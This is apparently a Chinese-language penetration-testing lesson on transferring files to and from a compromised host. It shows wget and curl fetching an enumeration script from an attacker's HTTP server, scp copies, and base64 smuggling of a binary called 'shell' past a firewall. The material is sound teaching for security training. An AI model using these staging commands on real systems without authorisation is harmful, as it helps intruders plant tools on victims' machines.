在渗透测试过程中,我们经常需要将文件(例如枚举脚本或漏洞利用程序)上传到远程服务器,或从目标服务器将数据下载回我们的攻击主机。虽然像带有 Meterpreter Shell 的 Metasploit 这类工具允许我们使用 upload命令上传文件,但我们仍需掌握在标准反弹Shell 环境中进行文件传输的方法。
使用 wget
实现文件传输的方法有很多。其中一种是在我们的攻击机上运行一个 Python HTTP 服务器,然后在已获得代码执行权限的远程主机上使用 wget或 cURL来下载文件。
首先,我们进入包含待传输文件的目录,并在该目录下启动一个 Python HTTP 服务器:
guhusf@htb[/htb]$ cd /tmp
guhusf@htb[/htb]$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
在攻击机上设置好监听服务器后,我们便可以在远程主机上下载所需文件了:
user@remotehost$ wget http://10.10.14.1:8000/linenum.sh
...SNIP...
Saving to: 'linenum.sh'
linenum.sh 100%[==============================================>] 144.86K --.-KB/s in 0.02s
2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]
请注意,这里我们使用了攻击机的 IP 地址 10.10.14.1和 Python 服务器运行的端口 8000。
如果远程服务器没有安装 wget,我们可以使用 cURL来下载文件:
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
100 144k 100 144k 0 0 176k 0 --:--:-- --:--:-- --:--:-- 176k
此处使用了 -o参数来指定输出文件的名称。
使用 SCP
另一种文件传输方法是使用 SCP(安全复制协议),但这通常要求我们已经获取远程主机的 SSH 用户凭证。操作方法如下:
guhusf@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh
user@remotehost's password: *********
linenum.sh
需要注意的是,scp命令后先指定本地文件名,冒号 :后指定的是文件在远程主机上保存的路径。
若要传输整个目录,可以使用 -r参数进行递归复制。
使用 Base64 编码
在某些情况下,我们可能无法直接传输文件。例如,远程主机可能启用了防火墙策略,阻止了从我们攻击机下载文件。这种情况下,可以使用一个简单的技巧:将文件进行 Base64 编码,然后将编码后的字符串粘贴到远程服务器上再进行解码。
例如,想要传输一个名为 shell的二进制文件,可以这样进行 Base64 编码:
guhusf@htb[/htb]$ base64 shell -w 0
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU
接下来,复制这个 Base64 字符串,到远程主机上使用 base64 -d命令解码,并将输出重定向到一个文件中:
user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
文件传输验证
为了验证文件的类型和完整性,可以在远程主机上运行 file命令检查文件格式:
user@remotehost$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
如上所示,对 shell文件运行 file命令,显示它是一个 ELF 二进制文件,这表明文件已经成功传输。
为了确保文件在编码/解码过程中没有出错,可以检查其 MD5 哈希值。在攻击机上运行:
guhusf@htb[/htb]$ md5sum shell
321de1d7e7c3735838890a72c9ae7d1d shell
然后,在远程服务器上对传输过去的文件运行相同的命令:
user@remotehost$ md5sum shell
321de1d7e7c3735838890a72c9ae7d1d shell
如果两个文件的 MD5 哈希值相同,则表明文件传输是正确的。
文件传输的方法多种多样。您可以查阅 File Transfers 模块以进行更详细的研究。




